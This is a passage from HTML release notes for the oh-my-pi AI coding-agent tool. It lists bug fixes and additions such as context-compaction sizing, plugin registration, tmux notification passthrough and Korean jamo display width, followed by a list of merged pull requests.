<li>Fixed <code>omp tiny-models download</code> exiting before its unref'd worker subprocess could install the runtime or download model weights. The tiny-model client now references the worker while requests are pending so standalone CLI downloads wait for <code>Downloaded ...</code> / <code>Failed ...</code> completion. (<a href="https://github.com/can1357/oh-my-pi/issues/3291" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3291/hovercard">#3291</a>)</li>
<li>Fixed marketplace plugin installs registering only in <code>installed_plugins.json</code> and never in the runtime plugin tree, leaving slash commands and extensions unavailable after <code>omp plugin install name@marketplace</code>. The runtime loader now also enumerates the project-scope plugins root (<code>&lt;projectAnchor&gt;/.omp/plugins</code>) so <code>--scope project</code> installs surface alongside user-scope installs, with project entries shadowing same-named user entries (<a href="https://github.com/can1357/oh-my-pi/issues/3244" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3244/hovercard">#3244</a>).</li>
<li>Fixed <code>umans</code> requests with more than 10 live context images still sending every image despite the provider budget; outgoing provider contexts now drop the oldest images above the active provider cap while preserving text and newest images (<a href="https://github.com/can1357/oh-my-pi/issues/3230" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3230/hovercard">#3230</a>).</li>
<li>Fixed snapcompact auto-compaction looping the "snapcompact could not bring the context under the limit — using an LLM summary instead" warning on every threshold tick for sub-1M-token models (Claude Sonnet 4.5, GPT-5.x, Gemini 2.x). <code>snapcompact.compact()</code> was called with no <code>maxFrames</code> override, so it defaulted to <code>MAX_FRAMES_DEFAULT = 80</code>; the projection in <code>AgentSession</code> charges <code>FRAME_TOKEN_ESTIMATE = 5024</code> per frame block (the conservative high-res Anthropic ceiling), making 80 × 5024 ≈ 402k frame-token projections that always overflow a 200k budget. <code>AgentSession.#computeSnapcompactMaxFrames</code> now sizes the <code>maxFrames</code> cap from a <strong>shape-aware</strong> reserve — <code>2 × geometry(shape).capacity</code> worth of verbatim text-edge chars billed at the tiktoken cl100k 4-chars/token baseline (with a 1.15 multiplier for tokenizer drift), plus a 2k summary-template allowance — mirroring what <code>#projectSnapcompactContextTokens</code> will charge once frames land. The shape comes from the same <code>snapcompact.resolveShape(model, settings)</code> call the auto and manual paths pass into <code>snapcompact.compact()</code>. The cap reserve applies <strong>only</strong> to the frame-cap math, not the skip decision: snapcompact is skipped outright only when <code>kept-recent + non-message ≥ ctxWindow − reserve</code> (no headroom at all), so the frame-less <code>text.length &lt;= 2 * edgeCap</code> short-circuit in <code>planArchive</code> can still land a valid text-only archive when residual headroom is positive but below the cap reserve. The projection guard catches any actual frame-bearing archive that overflows. (<a href="https://github.com/can1357/oh-my-pi/issues/3247" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3247/hovercard">#3247</a>)</li>
<li>Fixed large-session TUI stalls by tailing appended transcript JSONL and collapsing compacted history on the live display surface (<a href="https://github.com/can1357/oh-my-pi/issues/3258" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3258/hovercard">#3258</a>).</li>
<li>Fixed status-line <code>usage</code> segment ignoring Codex subscription limits that carry a <code>scope.tier</code> (<a href="https://github.com/can1357/oh-my-pi/issues/2877" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2877/hovercard">#2877</a>).</li>
<li>Fixed extension <code>tool_call</code>/<code>tool_result</code> events for hashline <code>edit</code> calls to expose <code>event.input.path</code> for single-file edits and <code>event.input.paths</code> for every parsed target, so planning-mode gates can allow one markdown plan edit but still block multi-file hashline calls that cannot be represented by one path (<a href="https://github.com/can1357/oh-my-pi/issues/1678" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1678/hovercard">#1678</a>).</li>
<li>Fixed scripted <code>eval</code> <code>agent()</code> subagents continuing after a successful <code>yield</code> when a trailing empty assistant <code>stop</code> arrived after the executor's yield-triggered abort. The session's <code>agent_end</code> maintenance compared <code>#assistantEndedWithSuccessfulYield(msg)</code> against the trailing empty-stop message — not the prior yield-bearing one — so the empty-stop recovery path appended a retry reminder and scheduled <code>agent.continue()</code>, reviving the already-yielded child. The yield handler now sets a sticky <code>#yieldTerminationPending</code> flag (cleared on the next <code>prompt()</code>) that short-circuits empty-stop / unexpected-stop / compaction continuations for the rest of the run, so a successful yield is terminal regardless of trailing stops (<a href="https://github.com/can1357/oh-my-pi/issues/3389" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3389/hovercard">#3389</a>).</li>
<li>Fixed snapcompact rasterizing transcript frames into requests bound for GitHub Copilot business and enterprise endpoints, which then rejected the session permanently with <code>400 vision is not supported</code>. The snapcompact vision gate now also short-circuits whenever <code>model.provider === "github-copilot"</code> and the resolved <code>baseUrl</code> is not the canonical personal-Copilot host, protecting cached/stale Model specs that still advertise <code>["text","image"]</code> on a non-personal endpoint. (<a href="https://github.com/can1357/oh-my-pi/issues/3387" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3387/hovercard">#3387</a>)</li>
</ul>
<h2>@oh-my-pi/pi-mnemopi</h2>
<h3>Fixed</h3>
<ul>
<li>Fixed <code>remember(..., { extract: true })</code> fact/entity extraction accepting an <code>extractText</code> override so hosts can store full transcripts while mining facts from a safer projection; also tightened deterministic <code>Instruction:</code> extraction to require an explicit <code>I</code>/<code>you</code> subject instead of treating every <code>always</code>/<code>never</code> clause as a user instruction. (<a href="https://github.com/can1357/oh-my-pi/issues/3372" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3372/hovercard">#3372</a>)</li>
</ul>
<h2>@oh-my-pi/pi-natives</h2>
<h3>Added</h3>
<ul>
<li>Added <code>setHangulCompatJamoWidthOverride(value)</code> to override the Hangul Compatibility Jamo (U+3131..U+318E) display width at runtime via a process-global atomic, instead of relying solely on the compile-time <code>cfg!(target_os = "macos")</code> heuristic. The actual width is decided by the client terminal (not the host OS), so the TUI resolves it from the terminal identity and pushes the result here. Encoding: <code>0</code> = platform default (macOS narrow, otherwise UAX#11), <code>1</code> = narrow (1 cell), <code>2</code> = wide (2 cells), <code>3</code> = Unicode width (no correction). The leaf width helpers read this override, so no width/slice/truncate/wrap signatures change.</li>
</ul>
<h2>@oh-my-pi/omp-stats</h2>
<h3>Fixed</h3>
<ul>
<li>Stats sync counted the same provider request multiple times when a forked or branched session file copied the parent's entries verbatim. Inserts now skip rows whose <code>(entry_id, timestamp)</code> already exists under a different <code>session_file</code>, and a one-shot migration on the next <code>omp stats</code> run collapses any pre-existing duplicates (<a href="https://github.com/can1357/oh-my-pi/issues/3370" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3370/hovercard">#3370</a>).</li>
</ul>
<h2>@oh-my-pi/pi-tui</h2>
<h3>Added</h3>
<ul>
<li>Added runtime resolution of the Hangul Compatibility Jamo (U+3131..U+318E) display width for terminals known to disagree with the platform default (e.g. Ghostty, which renders these at 2 cells). Fixes doubled/ghosted jamo during Korean IME composition; the resolved width is pushed into the native width engine before the first paint. Other terminals keep the platform default (macOS narrow, otherwise UAX#11), so the override is a no-op outside Ghostty. A runtime DSR/CPR probe for unknown terminals is tracked separately.</li>
<li>Added <code>setHangulCompatibilityJamoWidth</code> / <code>getHangulCompatibilityJamoWidth</code> to set the jamo width profile (<code>"platform" | "unicode" | 1 | 2</code>); the profile is mirrored into the native <code>setHangulCompatJamoWidthOverride</code>.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Removed the 30-second OSC 11 background-color poll that ran on terminals without DEC Mode 2031 support (macOS Terminal.app, Warp, VS Code's built-in terminal, older Alacritty/WezTerm). Each poll's OSC 11 + DA1 write wiped the user's active text selection on several of those terminals, causing intermittent "can't copy" failures whenever a poll fired mid-drag — most visibly during the Ask tool dialog when the user wants to quote text back from the conversation (<a href="https://github.com/can1357/oh-my-pi/issues/3297" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3297/hovercard">#3297</a>). Theme detection now relies on the initial startup probe plus Mode 2031 push notifications; affected terminals pick up OS-theme changes on next launch.</li>
<li>Fixed <code>@</code>-path autocomplete failing on Windows for paths outside the cwd. Windows absolute paths (e.g. <code>C:\\Users\\...</code>) were not detected as absolute — only <code>/</code> was checked — so they were incorrectly joined with the base directory, producing invalid search paths and empty suggestions. Path-join calls also introduced backslashes into suggestion values, breaking round-trip insertion. Absolute path detection now uses <code>path.isAbsolute()</code> (handles drive letters) and suggestion paths are normalized to forward slashes (valid on all platforms).</li>
<li>Fixed settings rows crashing native text truncation when a malformed config value reaches the renderer as a non-string (<a href="https://github.com/can1357/oh-my-pi/issues/3338" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3338/hovercard">#3338</a>).</li>
<li>Fixed desktop notifications being silently lost under tmux on the common stack of tmux + kitty/ghostty/wezterm/iTerm2. <code>TERMINAL_ID</code> resolves to the inner terminal (whose markers leak into the tmux session env), which maps to <code>NotifyProtocol.Osc9</code> / <code>NotifyProtocol.Osc99</code>, and <code>sendNotification()</code> wrote that raw OSC straight to stdout — tmux dropped it on the floor and <code>monitor-bell</code> / <code>monitor-activity</code> never fired, so a backgrounded omp pane had no way to flag completion or <code>ask</code> blockage. Under <code>TMUX</code>, OSC-protocol notifications are now wrapped in tmux's <code>\x1bPtmux;…\x1b\\</code> DCS passthrough envelope (so users with <code>set -g allow-passthrough on</code> still get the real toast on the outer terminal) and followed by a <code>\x07</code> BEL (so <code>set -g monitor-bell on</code> reliably flags the window otherwise). The OSC 99 capability probe in <code>terminal.ts</code> is wrapped the same way so rich notifications keep working across tmux. <code>NotifyProtocol.Bell</code> paths are unchanged. (<a href="https://github.com/can1357/oh-my-pi/issues/3395" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3395/hovercard">#3395</a>)</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>fix(coding-agent): handled <code>&lt;bunfs-root&gt;/&lt;binary&gt;</code> in __computeBunfsPackageRoot by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4727451927" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3330" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3330/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3330">#3330</a></li>
<li>fix(mcp): omit unused optional tool args by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4724931350" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3304" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3304/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3304">#3304</a></li>
<li>fix(task): treat maxConcurrency 0 as unbounded in spawn semaphore by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4724988039" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3307" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3307/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3307">#3307</a></li>
<li>fix(providers): honor llama.cpp per-model context windows by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4725795113" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3311" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3311/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3311">#3311</a></li>
<li>fix(tui): deliver notifications under tmux via DCS passthrough + BEL fallback by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4737277542" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3396" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3396/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3396">#3396</a></li>
<li>fix(tui): runtime Hangul Compatibility Jamo width override + Ghostty detection by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ZergRocks/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ZergRocks">@ZergRocks</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4582051803" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1800" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1800/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1800">#1800</a></li>
<li>fix(catalog): restore Umans GLM-5.2 max reasoning by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4710426433" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3193" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3193/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3193">#3193</a></li>
<li>fix(agent): clamp provider context images by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4713879562" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3232" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3232/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3232">#3232</a></li>
<li>fix(cli): register marketplace plugin installs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4714884175" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3245" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3245/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3245">#3245</a></li>
<li>fix(agent): size snapcompact maxFrames by the live model window by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4715541246" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3249" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3249/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3249">#3249</a></li>
<li>fix(tui): reduce large transcript stalls by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4716377651" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3259" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3259/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3259">#3259</a></li>
<li>fix(tui): include tiered Codex usage limits by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/riverpilot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/riverpilot">@riverpilot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4721837079" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3289" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3289/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3289">#3289</a></li>
<li>fix(cli): keep tiny-model downloads alive by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4721879295" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3292" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3292/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3292">#3292</a></li>
<li>fix(usage): dedup provider-wide notes and add report-level notes field by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oldschoola/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oldschoola">@oldschoola</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4726234349" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3312" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3312/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3312">#3312</a></li>
<li>fix(welcome): replace stale ? shortcut with /hotkeys in tips panel by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oldschoola/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oldschoola">@oldschoola</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4726458520" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3315" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3315/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3315">#3315</a></li>
<li>fix(tui): stop OSC 11 poll from wiping text selection by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oldschoola/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oldschoola">@oldschoola</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4728748344" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3344" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3344/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3344">#3344</a></li>
<li>fix(tui): @-path autocomplete on Windows for paths outside cwd by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oldschoola/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oldschoola">@oldschoola</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4728809733" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3345" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3345/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3345">#3345</a></li>
<li>fix(cli): profile-alias installer produces correct paths for POSIX shells on Windows by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oldschoola/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oldschoola">@oldschoola</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4728902013" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3346" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3346/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3346">#3346</a></li>
<li>fix: store slash commands in input history by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oldschoola/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oldschoola">@oldschoola</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4729574543" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3352" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3352/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3352">#3352</a></li>
<li>fix(tui): theme-aware welcome tip line for light-theme legibility by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4735382484" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3376" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3376/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3376">#3376</a></li>
<li>fix(settings): prevent numeric config values from crashing settings UI by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4735458942" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3377" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3377/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3377">#3377</a></li>
<li>fix(tools): stream tool downloads without Bun.write Response by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4735597315" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3379" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3379/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3379">#3379</a></li>
<li>fix(coding-agent): clamp auto thinking to undefined for models without controllable effort by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4735598995" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3380" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3380/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3380">#3380</a></li>
<li>fix(coding-agent): honor app.message.followUp chord in ask prompt-style editor by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4735599275" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3381" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3381/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3381">#3381</a></li>
<li>fix(stats): dedupe forked-session entries to stop double-counting by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4735616453" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3382" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3382/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3382">#3382</a></li>
<li>fix(memory): scope mnemopi entity extraction to user turns by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4735668029" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3383" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3383/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3383">#3383</a></li>
<li>fix(tui): attach pasted file paths as local refs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4735671604" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3384" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3384/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3384">#3384</a></li>
<li>fix(coding-agent): restore TUI focus to live editor-slot owner when a fullscreen overlay closes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4735691495" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3385" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3385/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3385">#3385</a></li>
<li>fix(catalog,coding-agent): disable vision on non-personal Copilot endpoints (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4736520339" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3387" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3387/hovercard" href="https://github.com/can1357/oh-my-pi/issues/3387">#3387</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4736626781" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3388" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3388/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3388">#3388</a></li>
<li>fix(session): suppress empty-stop retry after successful yield by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4736900317" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3390" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3390/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3390">#3390</a></li>
<li>fix(ai/anthropic): honor caller-supplied Authorization/X-Api-Key for custom proxies (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4736906280" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3391" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/3391/hovercard" href="https://github.com/can1357/oh-my-pi/issues/3391">#3391</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4736976378" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3393" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3393/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3393">#3393</a></li>
<li>fix(ai/ollama): clamp num_predict at the Ollama Cloud 65536 cap by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4737031173" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3394" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3394/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3394">#3394</a></li>
<li>fix(providers): strip OpenRouter Anthropic reasoning replay by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4737583588" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/3400" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/3400/hovercard" href="https://github.com/can1357/oh-my-pi/pull/3400">#3400</a></li>
